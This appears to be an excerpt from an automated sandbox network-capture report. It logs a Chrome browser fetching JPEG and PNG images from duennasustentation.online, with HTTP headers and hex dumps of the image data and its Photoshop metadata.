2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 2d 6e 85 90 fa 7a 8d 17 35 db 72 eb 3b 58 46 82 d6 9d 2c a2 cf f8 d6 ff 00 35 fe 8a e5 ce 63 7e 8a fb aa 27 46 91 f2 9f fc c9 68 63 da 1c 0b 1d c8 d5 ae 1a 10 7f 79 a9 d0 d0 fe 21 19 35 8f e0 5f 52 c6 70 76 6d ce 6f 0e 6b 48 57 ea 3e ff 00 97 f1 58 1f 57 b2 6e bf 0a ac 8b 5c 1f 63 ab 68 73 87 78 f6 c9 5b 78 ae 9b 4c fe ef f1 57 81 b1 7e 0e 71 15 2a ec 5b 43 84 17 3a 0a 31 fa 2a ad ae f7 24 a7 9f fa d8 65 d5 1f e4 1f ca b9 cd c3 73 7c c2 de fa d0 64 55 e3 07 f2 ac 12 dd 5a 98 77 5e 36 49 f9 a9 27 8d 09 49 04 bf ff d3 c4 6c 88 63 07 28 56 d3 69 71 6b 18 4f 8a 95 bb ab 2d 2c 74 95 65 96 58 d0 1e 0e a4 28 88 3c 35 a5 84 92 2d ce b3 15 e5 80 bd a5 ad 1a ad 3e 8f 8d 56 43 81 7e 9a 81 af c5 57 b6 db 9c 7d e4 6d 3d 96 c7 42 e9 99 b7 e5 31 d5 86 b5 a2 1c 37 1d 34 Data Ascii: -nz5r;XF,5c~'Fhcy!5_RpvmokHW>XWn\chsx[xLW~q[C:1$es\|dUZw^6I'Ilc(ViqkO-,teX(<5->VC~W}m=B174
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 5f 48 c7 c1 e9 ce ea c5 a0 e4 65 48 a5 e4 6a da 41 da 36 fe ef aa f1 bd df d8 5e 79 5b ef ca ba ac 6a cc 3e fb 19 53 3e 2f 70 ad a7 fe 92 f5 d2 ca e8 34 e0 d4 62 bc 66 32 a6 83 a4 86 80 10 00 59 21 11 07 ab 62 97 cb 77 59 a0 03 7b a7 ef 58 c1 fb 9f 99 98 e2 49 15 e8 09 8f a4 74 f7 7c 96 bd 95 ef a9 d5 b7 fc 23 83 49 1e 1c bb f2 2c 8e b4 df 43 a7 fa 35 88 7d ce 93 f0 1e da e5 39 92 3d bb bc 7d d4 3f 2f 11 e7 1e 5f 6d e5 c2 cf de da 0f bb 73 bf 96 b9 df 54 82 2a ad a6 df d2 07 c9 07 46 8f 6b 9b fc 85 d6 bb 1f 2f a7 1a c5 75 fa cd b4 38 b8 0e 43 89 98 8f ce de b1 f2 29 6d ae 76 4d 0d f4 6e de 3d 46 16 e8 41 07 d8 ef eb 28 49 04 d1 66 1b 58 73 72 df 49 c9 77 d9 f4 04 00 f3 c8 dc 3f c2 7f 69 07 1d ac 75 cd a8 b4 87 ea e0 4f d1 27 f7 58 ac 54 ec 67 39 f5 88 ae Data Ascii: _HeHjA6^y[j>S>/p4bf2Y!bwY{XIt\|#I,C5}9=}?/_msT*Fk/u8C)mvMn=FA(IfXsrIw?iuO'XTg9
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: c9 1a 1a 32 01 74 86 8d c2 9c 8c 87 73 e9 93 3d e5 c5 dd fe 6a 7d 16 bf 4b aa 39 be 35 d6 4f cd a1 4a c6 fe aa fa 9a 24 3e c6 54 df e5 11 ad 9c 7e ea 26 29 db f5 82 d6 44 6c ae b6 ff 00 d1 51 c0 ea 99 ec 9f ad c9 78 d3 4d bc aa 23 77 a6 08 57 fa d3 a0 b5 b1 cb 79 54 98 df d1 c7 dc 9c 77 58 90 11 e9 b9 25 10 0c 1f 04 92 53 ff d0 f4 7c a9 14 bb bf b8 69 e5 0b 9b eb 3e 91 70 2c 31 7b 44 d6 3f 78 7e e7 f2 7d df 41 78 3a 48 4b af 93 24 37 0f b7 7d 5c 76 57 ed db f7 34 86 7d 91 ba e9 cf aa ba 43 bf 4e 79 3f 95 7c da 92 64 3e 5f b5 76 4f 98 fd 1f a3 ac dd df c4 78 a0 d9 ea 6d 1c f0 57 ce e9 27 7d ab 1f a0 dd 3b 8e 80 ff 00 af 92 54 13 ea 68 dd 74 8d 7b af 9f 12 4e 0a 7e 82 77 f4 a3 33 3b 78 f3 9f 72 3b 66 38 3c f9 78 2f 9d 92 4e 41 7e 8a b0 fb 78 3c 79 2a 97 93 Data Ascii: 2ts=j}K95OJ$>T~&)DlQxM#wWyTwX%S\|i>p,1{D?x~}Ax:HK$7}\vW4}CNy?\|d>_vOxmW'};Tht{N~w3;xr;f8<x/NA~x<y*
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 03 f3 00 00 00 00 00 09 00 00 00 00 00 00 00 00 01 00 38 42 49 4d 27 10 00 00 00 00 00 0a 00 01 00 00 00 00 00 00 00 02 38 42 49 4d 03 f5 00 00 00 00 00 48 00 2f 66 66 00 01 00 6c 66 66 00 06 00 00 00 00 00 01 00 2f 66 66 00 01 00 a1 99 9a 00 06 00 00 00 00 00 01 00 32 00 00 00 01 00 5a 00 00 00 06 00 00 00 00 00 01 00 35 00 00 00 01 00 2d 00 00 00 06 00 00 00 00 00 01 38 42 49 4d 03 f8 00 00 00 00 00 70 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff Data Ascii: ong8BIMHH8BIM&?8BIM8BIM8BIM8BIM'8BIMH/fflff/ff2Z5-8BIMp
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 96 00 96 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 01 00 02 03 04 05 06 07 08 09 0a 0b 10 00 01 04 01 03 02 04 02 05 07 06 08 05 03 0c 33 01 00 02 11 03 04 21 12 31 05 41 51 61 13 22 71 81 32 06 14 91 a1 b1 42 23 24 15 52 c1 62 33 34 72 82 d1 43 07 25 92 53 f0 e1 f1 63 73 35 16 a2 Data Ascii: "?3!1AQa"q2B#$Rb34rC%Scs5
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 2d 76 db 8e 89 1e 14 49 90 91 3a 20 97 98 fa e9 ae 4e 30 1f b8 7f 2a e6 6d 22 76 95 d3 7d 71 83 7e 33 8f 01 87 f2 ae 61 e3 73 d3 4a e1 b2 38 1b f9 d6 39 49 4b 6e a9 24 97 ff d1 bf 69 71 7e e3 ee 27 92 55 9c 1a eb 16 17 b9 b2 15 1a 77 3b 49 9f 35 b3 80 da b2 41 64 40 66 85 52 24 53 60 03 1f 32 83 2d cc d8 4d 7a 11 c2 b7 8b 8e 72 31 37 13 06 34 55 2e 15 7a ef 6c 68 d4 0c 5c fb e8 26 a3 a3 5c 7d b3 e0 99 28 8a db 4e aa 04 ed 6d aa b1 2e 6d e0 be 5e 1c 76 8f 12 af 65 65 f4 ee 8b 8c 6c c8 70 6d f6 4f a6 c8 25 d2 3f 35 a2 0a 27 4e b7 d5 26 cd 3f 44 c3 06 7f 15 83 d7 ba 95 16 b9 c3 1c 7e 98 18 16 10 74 1f c8 d3 77 f6 d3 ac 00 08 64 c5 0e 29 79 35 30 3a b6 0d b9 39 39 39 d4 b8 b6 a6 ee aa a7 02 1c e7 1e 37 b1 ff 00 4b f9 3b 96 4e 5f d6 fb 5f 75 8e b1 bb 19 3a 89 Data Ascii: -vI: N0*m"v}q~3asJ89IKn$iq~'Uw;I5Ad@fR$S`2-Mzr174U.zlh\&\}(Nm.m^veelpmO%?5'N&?D~twd)y50:9997K;N__u:
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: c8 f2 6e aa 82 e7 34 36 c0 1f 1e 9c fb 88 3f 48 b7 fa aa 56 db 8b 6e 3c d7 02 46 9d a1 56 ae 86 b2 f7 bd b4 5b 73 f5 dc ff 00 4c b5 a3 fe b9 77 a6 d5 9c eb 5d 73 de 08 35 d6 d9 87 48 33 03 dc 3d a8 ce 44 8e 20 28 75 5d 10 01 e1 3b 87 1b 3a bd b9 b7 3c 1d 2c 81 a7 88 32 9e a7 ef d9 60 f6 97 30 c8 f3 94 5c e0 18 5b bb 92 d8 70 f3 3e ed 55 6c 36 cb 5a 49 92 dd 1c d3 e0 53 c0 06 88 60 9c 8d 90 f6 df 55 fa 91 a1 b5 63 d8 ef d0 d8 dd 09 d3 6b 81 ff 00 a8 72 ec b0 1c 5d 6b 84 10 36 f2 7e 2b cd fa 16 7e 3e 3d cc c5 cf 21 a1 80 b5 af 76 a0 87 7e ff 00 ee af 48 e9 4f 6b e8 63 d8 ed f5 b8 1f 49 d3 3e c9 f6 7b 95 9c 32 34 62 5a d9 80 b1 21 d5 ba ee 15 1b dd 0f 33 e1 2a eb b8 59 99 8e 8b 0f c0 29 7a 31 75 70 be b2 38 1f 48 fc 56 28 d7 61 f3 5a df 58 dd 35 d4 7f ac b2 Data Ascii: n46?HVn<FV[sLw]s5H3=D (u];:<,2`0\[p>Ul6ZIS`Uckr]k6~+~>=!v~HOkcI>{24bZ!3*Y)z1up8HV(aZX5
2025-01-08 14:44:40 UTC	1369	IN	Data Raw: 3c 6a 4b 9a d5 2c 0d 13 e2 c5 28 d8 1d c3 e9 b6 3d af 0d 2d 20 b5 c0 90 47 05 65 64 41 b1 df 15 53 a3 75 56 b6 d3 8d 73 bf 46 e7 1d 87 c1 df f9 9a af 47 50 19 59 76 86 99 6b 1c 47 dc 54 fd 18 68 82 d2 eb bf e0 47 f2 5d f9 56 3b a4 86 fd cb 57 ae 3a 5f 40 f1 69 fc ab 36 3d 8d d1 44 77 2b c2 6d 9f a2 fe 09 24 07 b0 f8 24 82 9f ff d6 2f f8 bc e8 cd cc ea 4e ea 56 b6 69 e9 c3 d9 3c 1b dc 3d bf f6 cd 7e ff 00 eb be b5 dc 54 c2 eb 4b b9 93 3e 3f 95 57 fa af d3 bf 65 7d 58 c6 a7 6e db ad 67 af 77 f5 ed f7 99 fe ab 76 d6 ad d3 0d 6c 94 42 52 12 7d 56 b4 68 39 fb 81 59 59 ee 17 e6 16 bb 56 57 00 0f 86 ab 42 ab 43 ad 7e bc 34 7e 25 67 b1 bb b2 5e 7b 97 12 7e f4 42 52 7d 92 bb 2c 6c b7 56 b7 45 8f 9f d0 5b 6e 3d ef 60 22 e6 6e 7d 60 18 1b bf 79 c3 f3 9d b7 e8 ae 8d Data Ascii: <jK,(=- GedASuVsFGPYvkGThG]V;W:_@i6=Dw+m$$/NVi<=~TK>?We}XngwvlBR}Vh9YYVWBC~4~%g^{~BR},lVE[n=`"n}`y

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.16	49771	104.21.28.45	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:39 UTC	814	OUT	GET /images/2.jpg HTTP/1.1 Host: duennasustentation.online Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://duennasustentation.online/?encoded_value=223GDT1&sub1=e6bdf212e77945a1bdd4f5f45fcae0ae&sub2=&sub3=&sub4=&sub5=23272&source_id=20259&ip=8.46.123.189&domain=www.clicknloader.com Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
2025-01-08 14:44:40 UTC	1052	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 14:44:40 GMT Content-Type: image/jpeg Content-Length: 31837 Connection: close accept-ranges: bytes Cache-Control: no-cache etag: "677d294b-7c5d" expires: Wed, 08 Jan 2025 14:44:39 GMT last-modified: Tue, 07 Jan 2025 13:16:59 GMT permissions-policy: interest-cohort=() strict-transport-security: max-age=31536000; includeSubDomains; preload cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=agVYWkr%2BY8%2F48LVL9t3N5BZvjAuSeTlOydWl%2B2YmsdKbWLV9Klf7j8yFSUlFyH1BmsJYSypUifBZipb88YFWp7zrzRosm7PeumqgE%2Bsm8FxgbHoEl1%2FU1AimAQKgCeYqJqmu5u4KRaJoPQ9O"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fecf783997b78d6-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1790&min_rtt=1779&rtt_var=690&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2869&recv_bytes=1392&delivery_rate=1560662&cwnd=147&unsent_bytes=0&cid=810817a27a0c0a39&ts=902&x=0"
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: ff d8 ff e1 11 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 0c 01 00 00 03 00 00 00 01 05 e0 00 00 01 01 00 03 00 00 00 01 07 df 00 00 01 02 00 03 00 00 00 03 00 00 00 9e 01 06 00 03 00 00 00 01 00 02 00 00 01 12 00 03 00 00 00 01 00 01 00 00 01 15 00 03 00 00 00 01 00 03 00 00 01 1a 00 05 00 00 00 01 00 00 00 a4 01 1b 00 05 00 00 00 01 00 00 00 ac 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 b4 01 32 00 02 00 00 00 14 00 00 00 d3 87 69 00 04 00 00 00 01 00 00 00 e8 00 00 01 20 00 08 00 08 00 08 00 0a fc 80 00 00 27 10 00 0a fc 80 00 00 27 10 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 31 2e 30 20 28 57 69 6e 64 6f 77 73 29 00 32 30 32 33 3a 30 34 3a 31 39 20 31 39 3a 31 39 3a 30 33 00 00 00 04 90 00 00 07 00 00 00 04 30 Data Ascii: ExifMM*(12i ''Adobe Photoshop 21.0 (Windows)2023:04:19 19:19:030
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: c0 95 84 06 d5 6e 6d 80 b1 da 87 82 d3 f3 58 f8 79 56 74 7e a6 cb a4 fa 6e 7f a5 73 3c 58 4f d2 77 f5 7e 92 d0 61 2d 3e 6a a7 5b a4 39 85 d1 ad 8d e7 c0 8f ce 2a ce 39 58 d5 af 92 34 f7 29 2a dd 36 ef b4 74 fc 6b bf d2 54 c7 1f 89 02 55 94 58 94 92 49 24 a5 24 92 49 29 ff d1 f5 54 92 49 25 29 24 92 49 4a 51 7b 77 31 cd fd e0 47 de a4 92 4a 7c b7 ea fe 3d ae b0 e3 1d 36 17 02 47 20 03 ee 95 79 f4 35 8e 32 75 1a 42 37 4f c6 38 5d 43 ab 8d 47 d9 4d 81 80 f1 ef 71 b9 ae 1f d9 73 57 2d 9e ec bb 6f dd 95 7f a4 4e a2 0c 11 e1 a2 66 5d 99 b0 dd bd 1b 2f 0d 2a cb 33 03 84 3b e4 b8 17 e5 64 62 59 2c cc f5 99 df 92 b5 3a 57 55 7e 45 9b 26 49 f0 55 65 63 50 da 8d 1d de b8 65 34 77 84 2b ba de 16 30 9b ec 0d 55 32 a8 c8 66 3f a8 74 10 b9 2c ac ea 59 79 7d ac 36 0a f5 Data Ascii: nmXyVt~ns<XOw~a->j[99X4)6tkTUXI$$I)TI%)$IJQ{w1GJ\|=6G y52uB7O8]CGMqsW-oNf]/*3;dbY,:WU~E&IUecPe4w+0U2f?t,Yy}6
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 7e e0 c6 97 17 ce b0 9a 65 d8 da fb 91 dc 08 f9 2f 90 6a 6f 5a 6b a7 50 c2 4e bd c1 5d 97 d5 1c 76 b3 0a cc e3 f4 b2 9c 76 93 ce c6 fb 5b fe 72 f3 5c 56 df 99 d4 ab 6b 9f b8 b8 cb dc 0c fb 07 d3 ff 00 3b e8 2e bd bf 59 2e e9 f9 bf 61 7b 0f d9 18 da f6 38 76 0e 6f bf 6b bf ac a4 85 47 76 be 42 48 a1 b5 bd c8 7b 7c 53 ee 1e 2b 05 b9 79 0e 68 75 7e e6 1d 43 82 7f b5 65 f8 15 2d b0 3b bb 87 8a 62 f1 2b 0f ed 99 63 b1 4f f6 bc a3 ac 14 94 ee 6e 1e 29 2c 4f b6 e5 f8 14 92 53 ff d5 f4 9d c1 22 d6 91 a2 1b da 0b 74 e7 b2 85 42 c1 ce a9 29 4f 01 ae d7 85 2d cc 2d 88 50 b8 98 e2 54 5a 5b b6 5d ed 03 92 74 08 5a 69 72 1a 0f b5 0e ec 81 55 4e 7c 4b bb 04 1c 9e a7 4d 2d 25 80 38 02 43 ac 76 8d 69 f3 95 52 bc a7 66 d0 2d d7 63 9d ec 77 01 c0 72 f6 37 e9 6d 42 d0 b6 6b Data Ascii: ~e/joZkPN]vv[r\Vk;.Y.a{8vokGvBH{\|S+yhu~Ce-;b+cOn),OS"tB)O--PTZ[]tZirUN\|KM-%8CviRf-cwr7mBk
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: f9 a0 a7 9a ab ea fd 7e 8b eb 78 97 0e eb 2e ff 00 ab e3 79 11 a2 ec df 0d b4 11 c1 d1 02 fc 76 ef 26 39 09 1b 48 78 0b 3a 41 aa d3 59 d1 8f d3 e0 7b 2d 6e 95 d3 eb a2 ca b2 5b 97 6d 77 d2 43 da c0 f2 dd 41 dd a2 dc ca e9 ad b4 71 a9 ee 3b 78 2a a3 07 1a c6 13 69 db 73 40 88 d0 e9 dd 2e 22 97 d5 71 6e 6e 46 2d 37 b4 c8 b5 8d 76 9e 61 16 17 3b f5 23 28 d9 d2 df 88 eb 3d 43 88 fd ad 27 90 c7 0d cd 6a e8 94 c0 d8 05 61 54 24 4e 89 24 8a 1e 53 ae d6 e6 f5 5d c7 87 b4 2c bb eb 27 20 40 04 b6 bd 03 b4 1a 9f fc c5 6f fd 63 ac 0c 9a 1f fb cd 23 ee 58 8f 3b 6c 71 30 76 86 8d 78 22 4e 8a 0c 9f 32 f1 b3 57 23 11 c4 b6 fa a9 0d b2 b1 16 31 ae d0 87 0f fa 4b 43 1e 5d 85 53 a0 b4 fa 63 43 ce 92 d4 f3 ba 5c c6 6c d0 82 07 73 1d bf 92 89 58 06 96 b3 98 60 fe 28 04 96 0d Data Ascii: ~x.yv&9Hx:AY{-n[mwCAq;x*is@."qnnF-7va;#(=C'jaT$N$S],' @oc#X;lq0vx"N2W#1KC]ScC\lsX`(
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 67 00 00 00 00 00 00 00 0c 63 72 6f 70 52 65 63 74 4c 65 66 74 6c 6f 6e 67 00 00 00 00 00 00 00 0d 63 72 6f 70 52 65 63 74 52 69 67 68 74 6c 6f 6e 67 00 00 00 00 00 00 00 0b 63 72 6f 70 52 65 63 74 54 6f 70 6c 6f 6e 67 00 00 00 00 00 38 42 49 4d 03 ed 00 00 00 00 00 10 00 48 00 00 00 01 00 01 00 48 00 00 00 01 00 01 38 42 49 4d 04 26 00 00 00 00 00 0e 00 00 00 00 00 00 00 00 00 00 3f 80 00 00 38 42 49 4d 04 0d 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 04 19 00 00 00 00 00 04 00 00 00 1e 38 42 49 4d 03 f3 00 00 00 00 00 09 00 00 00 00 00 00 00 00 01 00 38 42 49 4d 27 10 00 00 00 00 00 0a 00 01 00 00 00 00 00 00 00 02 38 42 49 4d 03 f5 00 00 00 00 00 48 00 2f 66 66 00 01 00 6c 66 66 00 06 00 00 00 00 00 01 00 2f 66 66 00 01 00 a1 99 9a 00 06 00 00 00 00 00 Data Ascii: gcropRectLeftlongcropRectRightlongcropRectToplong8BIMHH8BIM&?8BIM8BIM8BIM8BIM'8BIMH/fflff/ff
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 96 00 00 00 96 00 00 01 c4 00 01 08 d8 00 00 10 54 00 18 00 01 ff d8 ff ed 00 0c 41 64 6f 62 65 5f 43 4d 00 02 ff ee 00 0e 41 64 6f 62 65 00 64 80 00 00 00 01 ff db 00 84 00 0c 08 08 08 09 08 0c 09 09 0c 11 0b 0a 0b 11 15 0f 0c 0c 0f 15 18 13 13 15 13 13 18 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 01 0d 0b 0b 0d 0e 0d 10 0e 0e 10 14 0e 0e 0e 14 14 0e 0e 0e 0e 14 11 0c 0c 0c 0c 0c 11 11 0c 0c 0c 0c 0c 0c 11 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 00 96 00 96 03 01 22 00 02 11 01 03 11 01 ff dd 00 04 00 0a ff c4 01 3f 00 00 01 05 01 01 01 01 01 01 00 00 00 00 00 00 00 03 00 01 02 04 05 06 07 08 09 0a 0b 01 00 01 05 01 01 01 01 01 01 Data Ascii: TAdobe_CMAdobed"?
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 24 92 4a 52 49 24 92 9f ff d2 f5 54 92 49 25 29 24 92 49 4a 41 cb c9 ab 13 1a dc 9b 8e da e9 69 7b c9 ec 02 32 a1 d7 28 7e 4f 47 cc c7 af e9 5b 53 9b f2 23 dd ff 00 45 23 b2 45 12 01 ee f3 59 f9 55 65 37 3f 32 86 90 ec 86 54 c2 01 9d 40 70 dc d7 0f de 66 c5 c4 e7 74 a7 5b 71 c8 cb b1 ce 36 c8 14 34 4c 36 36 b7 73 ff 00 79 74 7d 0b 7b 68 ce c7 73 03 29 aa c6 8c 76 4c 9d 8d 6e df 73 8f d2 47 18 75 db 66 e2 60 0e ca 29 48 98 83 d6 9b 11 80 12 23 a0 2f 25 81 f5 77 1d b5 d9 5b 6b 7b c5 a2 0d 8f 86 96 80 77 4d 5b 47 b5 cb 53 a7 74 56 e2 e4 b1 cd 1a 98 12 79 3f d6 fe 52 de 35 55 4b 0b 81 80 06 a9 b1 da c6 16 dd 71 0d 07 56 cf 25 42 6c 9d 4b 38 02 3b 0a 74 6d c7 16 52 d6 3b 88 58 d9 ff 00 56 6b be c7 5d 50 ac 5f 60 87 6e 6c ee 68 fc d3 fc 95 be db 71 ec ae 77 81 Data Ascii: $JRI$TI%)$IJAi{2(~OG[S#E#EYUe7?2T@pft[q64L66syt}{hs)vLnsGuf`)H#/%w[k{wM[GStVy?R5UKqV%BlK8;tmR;XVk]P_`nlhqw
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 66 c1 3e f0 40 6b 3b 9f 06 b7 f9 4b 37 16 b7 92 18 7d ad 76 85 dc fc d7 47 d3 7a 56 1e 31 17 d6 d7 59 6c 69 65 86 63 fa ad fc d4 c2 62 17 81 39 06 d7 d5 be 97 66 25 06 ec 81 19 17 ea 5b fb ad fc ca ff 00 f2 68 7d 63 32 d6 f5 37 56 c1 36 31 ac 70 ad df 42 ca c8 da f1 fc 9b 18 e5 ab 4b a1 80 83 af 75 87 f5 a2 ab 83 6b ce a0 4d b8 fa 96 9d 43 9b f9 ec 28 09 5f d5 32 87 a6 87 47 a2 e8 5d 5d a5 a4 d1 2e ad ba 5d 8c ff 00 a6 c8 fd d5 b9 6f 50 65 61 af e6 a7 68 db 23 49 fd c7 fe eb d7 07 81 6d 79 4d 6e 4e 23 5d 4d ee 60 7b 6c 6f d1 24 7e 6f ef 7f 27 6a e9 7a 77 55 ae dc 71 69 2d 0c 77 b6 de e0 3b f3 eb be a3 ff 00 45 49 09 56 85 ab 28 bb 95 64 32 d1 23 ba 30 2d ee ab 50 28 7b 66 9f 6b 87 61 ab 4f f5 3f 39 5a af 13 d6 6c 87 71 cc 76 52 83 7b 2d 34 cc 06 16 97 76 Data Ascii: f>@k;K7}vGzV1Yliecb9f%[h}c27V61pBKukMC(_2G]].]oPeah#ImyMnN#]M`{lo$~o'jzwUqi-w;EIV(d2#0-P({fkaO?9ZlqvR{-4v
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 89 ac 6f 73 48 d1 d3 ec 95 d8 2f 96 52 53 43 e5 5a 5f a9 d3 2f 96 52 4e 43 f4 67 d6 50 36 63 90 61 c1 c6 07 88 58 07 d5 f5 ac 2c db 3b db a3 b8 fa 2b c4 92 50 e5 f9 97 c7 67 dd 06 e8 24 c0 f0 03 b6 88 94 7d 1d 7f 74 47 e3 b9 78 3a 49 a1 45 f7 26 fe 76 bf eb 29 2f 0d 49 25 3f ff d9 38 42 49 4d 04 21 00 00 00 00 00 57 00 00 00 01 01 00 00 00 0f 00 41 00 64 00 6f 00 62 00 65 00 20 00 50 00 68 00 6f 00 74 00 6f 00 73 00 68 00 6f 00 70 00 00 00 14 00 41 00 64 00 6f 00 62 00 65 00 20 00 50 00 68 00 6f 00 74 00 6f 00 73 00 68 00 6f 00 70 00 20 00 32 00 30 00 32 00 30 00 00 00 01 00 38 42 49 4d 04 06 00 00 00 00 00 07 00 08 01 01 00 01 01 00 ff e1 0f b6 68 74 74 70 3a 2f 2f 6e 73 2e 61 64 6f 62 65 2e 63 6f 6d 2f 78 61 70 2f 31 2e 30 2f 00 3c 3f 78 70 61 63 6b 65 Data Ascii: osH/RSCZ_/RNCgP6caX,;+Pg$}tGx:IE&v)/I%?8BIM!WAdobe PhotoshopAdobe Photoshop 20208BIMhttp://ns.adobe.com/xap/1.0/<?xpacke
2025-01-08 14:44:41 UTC	1369	IN	Data Raw: 70 68 6f 74 6f 73 68 6f 70 3a 44 6f 63 75 6d 65 6e 74 41 6e 63 65 73 74 6f 72 73 3e 20 3c 72 64 66 3a 42 61 67 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 30 62 33 36 31 30 36 2d 66 31 36 30 2d 61 63 34 32 2d 62 35 65 35 2d 62 61 62 30 35 65 62 66 61 39 66 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 35 33 33 63 33 66 32 66 2d 35 35 33 31 2d 64 32 34 30 2d 61 38 31 64 2d 62 65 66 62 35 38 39 32 38 33 64 64 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 78 6d 70 2e 64 69 64 3a 65 65 31 37 37 63 39 30 2d 66 30 33 37 2d 32 62 34 63 2d 38 37 30 31 2d 64 33 64 38 64 31 62 63 37 61 39 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 2f Data Ascii: photoshop:DocumentAncestors> <rdf:Bag> <rdf:li>adobe:docid:photoshop:50b36106-f160-ac42-b5e5-bab05ebfa9fd</rdf:li> <rdf:li>adobe:docid:photoshop:533c3f2f-5531-d240-a81d-befb589283dd</rdf:li> <rdf:li>xmp.did:ee177c90-f037-2b4c-8701-d3d8d1bc7a9c</rdf:li> </

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.16	49770	172.67.144.59	443	6840	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-08 14:44:39 UTC	425	OUT	GET /images/product.png HTTP/1.1 Host: duennasustentation.online Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SESSIONIDS=MYZkgcw1sq9TWnVclehUW-zwA1MWtnXgWh4Hc
